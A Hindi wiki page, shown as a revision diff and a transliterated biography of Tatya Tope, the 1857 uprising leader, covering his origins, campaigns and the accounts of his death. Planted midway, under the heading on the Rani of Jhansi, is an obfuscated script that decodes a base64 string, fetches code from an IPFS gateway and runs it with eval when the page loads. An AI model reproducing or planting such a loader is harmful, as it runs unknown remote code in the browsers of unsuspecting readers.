Difference between revisions of "तात्या टोपे"
| [unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) |
|||
| Line 12: | Line 12: | ||
==झांसी की रानी और तात्या टोपे== | ==झांसी की रानी और तात्या टोपे== | ||
{{tocright}} | {{tocright}} | ||
| − | 1857 के दो विख्यात वीरों - [[झांसी की रानी लक्ष्मीबाई|झांसी की रानी]] और तात्या टोपे में से झांसी की रानी को अत्यधिक ख्याति मिली। उनके नाम के चारों ओर यश का चक्र बन गया, किंतु तात्या टोपे के साहसपूर्ण कार्य और विजय अभियान रानी लक्ष्मीबाई के साहसिक कार्यों और विजय अभियानों से कम रोमांचक नहीं थे। रानी लक्ष्मीबाई के युद्ध अभियान जहां केवल [[झांसी]], [[कालपी]] और [[ग्वालियर]] के क्षेत्रों तक सीमित रहे थे वहां तात्या एक विशाल राज्य के समान कानपुर के राजपूताना और मध्य भारत तक फैल गए थे। | + | 1857 के दो विख्यात वीरों - [[झांसी की रानी लक्ष्मीबाई|झांसी की रानी]] और तात्या टोपे में से झांसी की रानी को अत्यधिक ख्याति मिली। उनके नाम के चारों ओर यश का चक्र बन गया, किंतु तात्या टोपे के साहसपूर्ण कार्य और विजय अभियान [[रानी लक्ष्मीबाई]] के साहसिक कार्यों और विजय अभियानों से कम रोमांचक नहीं थे। रानी लक्ष्मीबाई के युद्ध अभियान जहां केवल [[झांसी]], [[कालपी]] और [[ग्वालियर]] के क्षेत्रों तक सीमित रहे थे वहां तात्या एक विशाल राज्य के समान कानपुर के राजपूताना और मध्य भारत तक फैल गए थे। |
| + | |||
| + | कर्नल ह्यू रोज- जो मध्य भारत युद्ध अभियान के सर्वेसर्वा थे, ने यदि रानी लक्ष्मीबाई की प्रशंसा 'उन सभी में सर्वश्रेष्ठ वीर' के रूप में की थी तो मेजर मीड को लिखे एक पत्र में उन्होंने तात्या टोपे के विषय में यह कहा था कि वह 'भारत युद्ध नेता और बहुत ही विप्लवकारी प्रकृति के थे और उनकी संगठन क्षमता भी प्रशंसनीय थी।' तात्या ने अन्य सभी नेताओं की अपेक्षा शक्तिशाली ब्रिटिश शासन की नींव को हिलाकर रख दिया था। उन्होंने शत्रु के साथ लंबे समय तक संघर्ष जारी रखा। जब स्वतंत्रता संघर्ष के सभी नेता एक-एक करके अंग्रेजों की श्रेष्ठ सैनिक शक्ति से पराभूत हो गए तो वे अकेले ही विद्रोह की पताका फहराते रहे। उन्होंने लगातार नौ मास तक उन आधे दर्जन ब्रिटिश कमांडरों को छकाया जो उन्हें पकड़ने की कोशिश कर रहे थे। वे अपराजेय ही बने रहे। | ||
| − | |||
==प्रारंभिक जीवन== | ==प्रारंभिक जीवन== | ||
तात्या टोपे के प्रारंभिक जीवन के संबंध में अधिक जानकारी नहीं है। उनके विषय में थोड़े बहुत तथ्य उस बयान से इकट्ठे किए जा सकते हैं जो उन्होंने अपनी गिरफ्तारी के बाद दिया और कुछ तथ्य तात्या के सौतेले भाई रामकृष्ण टोपे के उस बयान से इकट्ठे किए जा सकते हैं जो उन्होंने 1862 ई. में [[बड़ौदा]] के सहायक रेजीडेंस के समक्ष दिया था। तात्या का वास्तविक नाम 'रामचंद्र पांडुरंग येवालकर' था और 'तात्या' मात्र उपनाम था। जबकि टोपे भी उनका उपनाम था जो उनके साथ ही चिपका रहा। उनका परिवार मूलतः [[नासिक]] के निकट पटौदा ज़िले में एक छोटे से गांव येवाले में रहता था। इसलिए उनका उपनाम येवालकर पड़ा। महान वीर देशभक्त तात्या टोपे का जन्म सन 1814 [[नासिक]], [[महाराष्ट्र]] में हुआ था। तात्या शब्द का प्रयोग और अधिक प्यार के लिये होता था। पेशवा बाजीराम द्बितीय के यहाँ अपके पिता पुरोहित थे। उसका बालकाल [[बिठूर]] में पेशवा के दत्तक पुत्र [[नाना साहब]] और [[झांसी की रानी लक्ष्मीबाई|झाँसी की वीरांगन रानी लक्ष्मीबाई]] के साथ व्यतीत हुआ था। आगे चलकर 1857 में देश की स्वाधीनता के लिए तीनों ने जो आत्मोत्सर्ग किया था वह हमारे स्वतन्त्रता संग्राम के इतिहास में स्वर्णाक्षरों में अंकित है। तात्या ने, 1859 में दिए गए अपने बयान में अपनी आयु 45 वर्ष बताई थी। जिससे यह पता लगता है कि उनका जन्म 1813 या 1814 के आसपास हुआ था। उनके पिता, जो एक देशस्थ ब्राह्मण थे, बहुत ही विद्वान थे। उनकी विद्वता उनकी जाति के अनुकूल थी। अच्छी नौकरी की तलाश में वह परिवार सहित [[पूना]] चले गए। पूना पेशवाओं की राजधानी थी। त्रयम्बक जी देंगाल, जो प्रसिद्ध दरबारी था, की सहायता से उन्हें अंतिम पेशवा बाजीराव द्वितीय के साथ परिचय प्राप्त करने का अवसर प्राप्त हुआ। जिन्होंने उन्हें अपने महल में पुजारी के रूप में नियुक्त कर लिया। | तात्या टोपे के प्रारंभिक जीवन के संबंध में अधिक जानकारी नहीं है। उनके विषय में थोड़े बहुत तथ्य उस बयान से इकट्ठे किए जा सकते हैं जो उन्होंने अपनी गिरफ्तारी के बाद दिया और कुछ तथ्य तात्या के सौतेले भाई रामकृष्ण टोपे के उस बयान से इकट्ठे किए जा सकते हैं जो उन्होंने 1862 ई. में [[बड़ौदा]] के सहायक रेजीडेंस के समक्ष दिया था। तात्या का वास्तविक नाम 'रामचंद्र पांडुरंग येवालकर' था और 'तात्या' मात्र उपनाम था। जबकि टोपे भी उनका उपनाम था जो उनके साथ ही चिपका रहा। उनका परिवार मूलतः [[नासिक]] के निकट पटौदा ज़िले में एक छोटे से गांव येवाले में रहता था। इसलिए उनका उपनाम येवालकर पड़ा। महान वीर देशभक्त तात्या टोपे का जन्म सन 1814 [[नासिक]], [[महाराष्ट्र]] में हुआ था। तात्या शब्द का प्रयोग और अधिक प्यार के लिये होता था। पेशवा बाजीराम द्बितीय के यहाँ अपके पिता पुरोहित थे। उसका बालकाल [[बिठूर]] में पेशवा के दत्तक पुत्र [[नाना साहब]] और [[झांसी की रानी लक्ष्मीबाई|झाँसी की वीरांगन रानी लक्ष्मीबाई]] के साथ व्यतीत हुआ था। आगे चलकर 1857 में देश की स्वाधीनता के लिए तीनों ने जो आत्मोत्सर्ग किया था वह हमारे स्वतन्त्रता संग्राम के इतिहास में स्वर्णाक्षरों में अंकित है। तात्या ने, 1859 में दिए गए अपने बयान में अपनी आयु 45 वर्ष बताई थी। जिससे यह पता लगता है कि उनका जन्म 1813 या 1814 के आसपास हुआ था। उनके पिता, जो एक देशस्थ ब्राह्मण थे, बहुत ही विद्वान थे। उनकी विद्वता उनकी जाति के अनुकूल थी। अच्छी नौकरी की तलाश में वह परिवार सहित [[पूना]] चले गए। पूना पेशवाओं की राजधानी थी। त्रयम्बक जी देंगाल, जो प्रसिद्ध दरबारी था, की सहायता से उन्हें अंतिम पेशवा बाजीराव द्वितीय के साथ परिचय प्राप्त करने का अवसर प्राप्त हुआ। जिन्होंने उन्हें अपने महल में पुजारी के रूप में नियुक्त कर लिया। | ||
Revision as of 09:33, 15 June 2010
thumb|tatya tope san 1857 ke pratham svatantrata sangram ke agraniy viroan mean tatya tope ko b da uchch sthan prapt hai. is vir ne kee sthanoan par apane sainik abhiyanoan mean uttar pradesh, rajasthan, madhy pradesh, gujarat mean aangreji senaoan se takkar li thi aur unhean pareshan kar diya tha. gorilla yuddh pranali ko apanate hue tatya ne aangreji senaoan ke kee sthanoan par chhakke chhu da diye the. tatya tope jo 'taantiya topi' ke nam se vikhyat haian, 1857 ke svatantrata sangram ke un mahan sainik netaoan mean se ek the, jo prakash mean ae.
1857 tak log inake nam se aparichit the. lekin 1857 ki natakiy ghatanaoan ne unhean achanak aandhakar se prakash mean la kh da kiya. is mahan vidroh ke praranbh hone se poorv vah rajyachyut peshava bajirav dvitiy ke sabase b de putr bithoor ke raja, nana sahab ke ek prakar se sathi-musahib matr the, kiantu svatantrata sangram mean kanapur ke sammilit hone ke pashchat tatya peshava ki sena ke senadhyaksh ki sthiti tak pahuanch ge. usake pashchatavarti yuddhoan ki sabhi ghatanaoan ne unaka nam sabase age ek puchchhalatare ki bhaanti badhaya, jo apane pichhe prakash ki ek lanbi rekha chho data gaya. unaka nam keval desh mean nahian varan desh ke bahar bhi prasiddh ho gaya. mitr hi nahian shatru bhi unake sainik abhiyanoan ko jijnasa aur utsukata se dekhane aur samajhane ka prayas karate the. samachar patroan mean unake nam ke lie vistrit sthan upalabdh tha. unake virodhi bhi unaki prashansa karate the. udaharanarth-
- karnal malsan ne unake sanbandh mean kaha hai, 'bharat mean sankat ke us kshan mean jitane bhi sainik neta utpann hue, vah unamean sarvashreshth the.'
- sar jarj pharest ne unhean, 'sarvotkrisht rashtriy neta' kaha hai.
- adhunik aangreji itihasakar, parsikras stediang ne sainik kraanti ke dauran deshi paksh ki or se utpann 'vishal mastishk' kahakar unaka samman kiya. usane unake vishay mean yah bhi kaha hai ki 'vah vishv ke prasiddh chhapamar netaoan mean se ek the.'
jhaansi ki rani aur tatya tope
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
1857 ke do vikhyat viroan - jhaansi ki rani aur tatya tope mean se jhaansi ki rani ko atyadhik khyati mili. unake nam ke charoan or yash ka chakr ban gaya, kiantu tatya tope ke sahasapoorn kary aur vijay abhiyan rani lakshmibaee ke sahasik karyoan aur vijay abhiyanoan se kam romaanchak nahian the. rani lakshmibaee ke yuddh abhiyan jahaan keval jhaansi, kalapi aur gvaliyar ke kshetroan tak simit rahe the vahaan tatya ek vishal rajy ke saman kanapur ke rajapootana aur madhy bharat tak phail ge the.
karnal hyoo roj- jo madhy bharat yuddh abhiyan ke sarvesarva the, ne yadi rani lakshmibaee ki prashansa 'un sabhi mean sarvashreshth vir' ke roop mean ki thi to mejar mid ko likhe ek patr mean unhoanne tatya tope ke vishay mean yah kaha tha ki vah 'bharat yuddh neta aur bahut hi viplavakari prakriti ke the aur unaki sangathan kshamata bhi prashansaniy thi.' tatya ne any sabhi netaoan ki apeksha shaktishali british shasan ki nianv ko hilakar rakh diya tha. unhoanne shatru ke sath lanbe samay tak sangharsh jari rakha. jab svatantrata sangharsh ke sabhi neta ek-ek karake aangrejoan ki shreshth sainik shakti se parabhoot ho ge to ve akele hi vidroh ki pataka phaharate rahe. unhoanne lagatar nau mas tak un adhe darjan british kamaandaroan ko chhakaya jo unhean pak dane ki koshish kar rahe the. ve aparajey hi bane rahe.
praranbhik jivan
tatya tope ke praranbhik jivan ke sanbandh mean adhik janakari nahian hai. unake vishay mean tho de bahut tathy us bayan se ikatthe kie ja sakate haian jo unhoanne apani giraphtari ke bad diya aur kuchh tathy tatya ke sautele bhaee ramkrishna tope ke us bayan se ikatthe kie ja sakate haian jo unhoanne 1862 ee. mean b dauda ke sahayak rejideans ke samaksh diya tha. tatya ka vastavik nam 'ramachandr paandurang yevalakar' tha aur 'tatya' matr upanam tha. jabaki tope bhi unaka upanam tha jo unake sath hi chipaka raha. unaka parivar moolatah nasik ke nikat patauda zile mean ek chhote se gaanv yevale mean rahata tha. isalie unaka upanam yevalakar p da. mahan vir deshabhakt tatya tope ka janm san 1814 nasik, maharashtr mean hua tha. tatya shabd ka prayog aur adhik pyar ke liye hota tha. peshava bajiram dbitiy ke yahaan apake pita purohit the. usaka balakal bithoor mean peshava ke dattak putr nana sahab aur jhaansi ki viraangan rani lakshmibaee ke sath vyatit hua tha. age chalakar 1857 mean desh ki svadhinata ke lie tinoan ne jo atmotsarg kiya tha vah hamare svatantrata sangram ke itihas mean svarnaksharoan mean aankit hai. tatya ne, 1859 mean die ge apane bayan mean apani ayu 45 varsh bataee thi. jisase yah pata lagata hai ki unaka janm 1813 ya 1814 ke asapas hua tha. unake pita, jo ek deshasth brahman the, bahut hi vidvan the. unaki vidvata unaki jati ke anukool thi. achchhi naukari ki talash mean vah parivar sahit poona chale ge. poona peshavaoan ki rajadhani thi. trayambak ji deangal, jo prasiddh darabari tha, ki sahayata se unhean aantim peshava bajirav dvitiy ke sath parichay prapt karane ka avasar prapt hua. jinhoanne unhean apane mahal mean pujari ke roop mean niyukt kar liya.
bithoor mean
apani vidvata, nishtha aur vivek buddhi se vah age chalakar peshava ke dharmik vinyas aur grih-vyavastha vibhag ke paryavekshak ki sthiti tak pahuanch ge. tatya jab mushkil se 4 varsh ke the tabhi unake pita ke svami ke bhagy mean achanak parivartan hua. bajirav 1818 mean basaee ke yuddh mean aangrejoan se har ge. unaka samrajy unase chhin gaya. unhean ath lakh rupaye ki salan peanshan manjoor ki gee aur unaki rajadhani se unhean bahut door hatakar bithoor mean rakha gaya. yah spasht roop se ऎsi sthiti se bachane ke lie kiya gaya tha ki vah apane khoe hue samrajy ko punah prapt karane ke lie kuchh nee chalean n chal sakean. bithoor, kanapur se 12 mil door ganga ke tat par chhota sa suandar nagar tha. vahaan unhoanne apane lie ek vishal prasad ka nirman karavaya aur apana adhikaansh samay dharmik karyakalapoan mean vyatit karane lage. tatya ka parivar bhi peshava ke sath vahian par a gaya.
yuvavastha aur sathi
tatya ek achchhe mahatvakaankshi navayuvak the. unhoanne anek varsh bajirav ke tin dattak putr- nana sahab, bala sahab aur baba bhatt ke sahachary mean bitae. ek kahani prasiddh hai ki nana sahab, unake bhaee, jhaansi ki bhavi rani jinake pita us samay sianhasanachyut peshava ke ek darabari the aur tatya; ye sabhi age chalakar vidroh ke prakhyat neta bane. ye apane bachapan mean ek sath yuddh ke khel khela karate the aur unhoanne marathoan ki virata ki kahaniyaan suni thi. jinase unhean vidroh ke lie prerana prapt huee thi. is kahani ko kuchh itihasajn 'apramanik' manate haian. unake vichar se gatha ke is bhag ka tana-bana in viroan ka samman karane vale desh premiyoan ke mastishk ki upaj hai. phir bhi yah sach hai ki in sabhi ka peshava ke parivar se nikatatam sanbandh aur vah apani ayu tatha sthiti bhinn hone ke bavajood prayah ek-doosare ke nikat ae hoange aur is bat se iankar nahian kiya ja sakata. khoe hue rajy ki smritiyaan abhi taja hi thi, dhuandhali nahian p di thi. samrajy ko punah prapt karana aur apane nukasan ko poora karana nana aur unake bhaiyoan ke anek yuva sapanoan mean se ek svapn avashy raha hoga. ve sabhi bad mean apane durbal pita ki tulana mean kafi achchhe sabit hue the.
yuddh kala prashikshan
tatya ne kuchh sainik prashikshan prapt to kiya tha kiantu unhean yuddhoan ka anubhav bilkul bhi nahian tha. tatya ne peshava ke putroan ke sath us kal ke ausat navayuvak ki bhaanti yuddh prashikshan prapt kiya tha. ghera dalane aur hamala karane ka jo bhi jnan unhean raha ho vah unake us kary ke lie bilakul upayukt n tha jisake lie bhagy ne unaka nirman kiya tha. ऎsa pratit hota hai ki unhoanne 'gurilla' yuddh jo unaki maratha jati ka svabhavik gun tha, apani vansh paranpara se prapt kiya tha. yah bat un tarikoan se siddh ho jati hai jinaka prayog unhoanne british senanayakoan se bachane ke lie kiya. ramkrishna tope ke bayan ke anusar tatya apane pita ki 12 santanoan mean se doosare the. unaka ek saga aur chhah sautele bhaee aur char bahanean thi. yadyapi tatya apani bachchoan ke sath alag rahate the, phir bhi sabhi vyavaharik karyoan ke lie unaka parivar sanyukt parivar tha.
vishisht vyaktitv
tatya ke vyaktitv mean vishisht akarshan tha. janalaiang ne jab unhean bithoor mean dekha tha to ve unake vyaktitv se prabhavit nahian hue the. unhoanne tatya ke vishay mean kaha hai ki vah 'ausat ooanchaee, lagabhag paanch phit 8 ianch aur ikahare badan ke kiantu dridh vyaktitv ke the. dekhane mean suandar nahian the. unaka matha nicha, nak nasachhidroan ke pas phaili huee aur daant betaratib the. unaki aankhean prabhavi aur chalaki se bhari huee thi. jaisi ki adhikaansh eshiyavasiyoan mean hoti haian. kiantu usake oopar unaki vishisht yogyata ke vyakti ke roop mean koee prabhav nahian p da[1].'
'bambe taims' ke sanvadadata ne, tatya se unaki giraphtari ke pashchat bheant ki thi. aprail 18, 1849 ke sanskaran mean likha tha ki tatya n to khoobasoorat hai aur n hi badasoorat, kiantu vah buddhiman haian. unaka svabhav shaant aur nirbadh hai. unaka svasthy achchha aur kad ausat hai. unhean marathi, urdoo aur gujarati ka achchha jnan tha. ve in bhashaoan mean dharapravah bol sakate the. aangreji to vah matr apane hastakshar karane bhar ke lie janate the, usase adhik nahian. vah rook-rook kar, kiantu spasht roop se, ek napi-tuli shaili mean bolate the. kiantu unaki abhivyakti ka dhang achchha tha aur ve shrotaoan ko apani or akrisht kar lete the. yah sach hai ki tatya apani vak-shakti aur samajhane ki apani shakti se prayah apane virodhiyoan ki senaoan ko bhi samajhakar apane paksh mean mila lete the.
charitr
bithoor mean tatya ki yogyataoan aur mahatvakaankshaoan ke lie n ke barabar sthan tha aur vah ek uddhatt vyakti banakar hi vahaan rahate, yah bat is tathy se spasht hai ki vah kanapur ge aur unhoanne eest iandiya kampani ki naukari kar li. kiantu shighr hi hatotsahit hokar laut ae. isake bad unhoanne kuchh samay tak mahajani ka kam kiya, kiantu ise bad mean chho d diya kyoanki yah unake svabhav ke bilakul pratikool tha. tatya ke pita peshava ke grih prabandh ke pahale se hi pradhan the, isalie unhean ek lipik ke roop mean naukari pane mean koee kathinaee nahian huee. kiantu vah apani is halat se khush nahian the.
upadhi 'tope'
ek karmachari ki vishvasaghat sanbandhi yojanaoan ka pata lagane mean is navayuvak lipik ki yogyata, tatparata aur chatury se prabhavit hokar peshava ne ek vishesh darabar mean 9 hiroan se j di huee ek topi unhean di aur darabar mean upasthit logoan ne 'tatya tope' ke nam se unaki jay-jayakar ki. 1851 mean peshava ki mrityu ke pashchat nana bithoor ke raja ho ge aur tatya unake pradhan lipik bane. vicharadhara ek jaisi hone ke karan ve ek-doosare ke itana nikat ae jitana ki pahale kabhi nahian the aur shighr hi vah nana ke musahib ke roop mean prasiddh ho ge.
british shasan se vidroh ke karan
1857 ka vidroh jin karanoan se hua unase sabhi parichit haian. sar jaun lareans ne kaha tha, 'yah charabi lagi karatoos aur matr charabi lagi karatoosoan ke karan hua' kiantu matr charabi lagi karatoos itana b da aur shaktishali toophan lane mean samarth nahian ho sakati thi. vastav mean charabi lagi karatoos, jaisa ki sipahiyoan ko sandeh tha, unhean eesaee dharm mean parivartan karane ka ek jaghany hathiyar tha. isake lie to roopak ki bhasha mean yah kaha ja sakata hai ki yah pake hue pho de par nashtar tha. isase pahale bhi anek sainik sudhar ho chuke the. jisamean -
- yah kaha tha ki sipahi apani shan se badhaee gee dadhi ek nirdisht paitarn mean hi rakhe.
- doosara tha bharatiy pag di ke sthan par cham de se bane top pahanean (is top ki vajah se vellor mean sipahi vidroh ho chuka tha)
- barma yuddh ke dauran sipahiyoan ko samudr yatra karane par majaboor kar diya gaya tha. (samudr yatra hiandoo dharm mean nishiddh hai) sipahiyoan ne isaka virodh bhi kiya tha, kyoanki vah ऎsa samajhate the ki yah unake dharmik vishvasoan par anavashyak hastakshep tha, lekin kampani sarakar ne unake sandeh ke nirakaran ke lie koee bhi prayas nahian kiya tha.
- chartar adhiniyam, 1813 ne sare bharat ka dvar sabhi aangrejoan ke lie khol diya tha. jisake parinamasvaroop mishanariyoan ke dharm parivartan karane par sanbandhi karyakalap teji se badhate ja rahe the. #ek samasamayik vyakti ne yah kaha ki 'mishanariyoan par se rok hata li gee thi, tala to dakar charch ke daravaje par pheank diya gaya tha, dharmagranthoan ko bahar le jakar un par pravachan karane ka mauka de diya gaya tha. jab eesaee sarakar bharat mean eesaiyat ke prasar ka virodh n kar saki.'
yuddh abhiyan
san 1857 ke pratham svatantrata sangram ke visphot hone par tatya bhi samaraangan mean kood gaya tha. jhaansi ki rani lakshmibaee aur nana sahab ke prati aangrejoan ne jo anyay kiye the, unaki usake hriday me ek tis thi. usane uttari bharat mean shivarajapur, kanapur, kalapi aur gvaliyar adi anek sthanoan mean aangrejoan ki senaoan se kee bar loha liya tha. san 1857 ke svatantry yoddhaoan mean vahi aisa tejasvi vir tha jisane vidyut gati ke saman apani gatividhiyoan se shatru ko ashchary mean dal diya tha. vahi ekamatr esa chamatkari svatantrata senani tha jisame poorab, pashchim, uttar aur dakshin ke sainik abhiyanoan mean phirangi aangrejoan ke daant khatte kar diye the.
rajasthan ki bhoomi mean usake jo shaury ka parichay diya tha vah avismaraniy hai. desh ka durbhagy tha ki rajasthan ke rajaoan ne usaka sath nahian diya tha. nana sahab ke sath usane 1 disambar se 6 disamabar 1857 tak kanapur mean aangrejoan ke sath ghor sangram kiya tha. jhaansi ki rani lakshmibaee ke sath bhi vah kalapi mean shatru sena se l da tha.
mrityu aur bhraantiyaan
isi vir ke sambandh mean kaha jata hai ki manasianh ne tatya ke sath dhokha karake use aangrejoan ko supurd kar diya tha. aangrejoan ne use phaansi par lataka diya tha. lekin khoj se ye jnat hua hai ki phaansi par latakaye jane vala doosara vyakti tha. asali tatya tope to chhadmavesh mean shatruoan se bachate hue svatantrata sangram ke kee varsh bad tak jivit raha. aisa kaha jata hai ki 1862-82 ki avadhi mean svatantrata sangram ka senani tatya tope narayan svami ke roop mean gokulapur agara mean sthit someshvaranath ke mandir mean kee mas raha tha.
tika tippani
- ↑ jan laiang; vaandariang in iandiya eand adars skechej aph laiph in hiandustan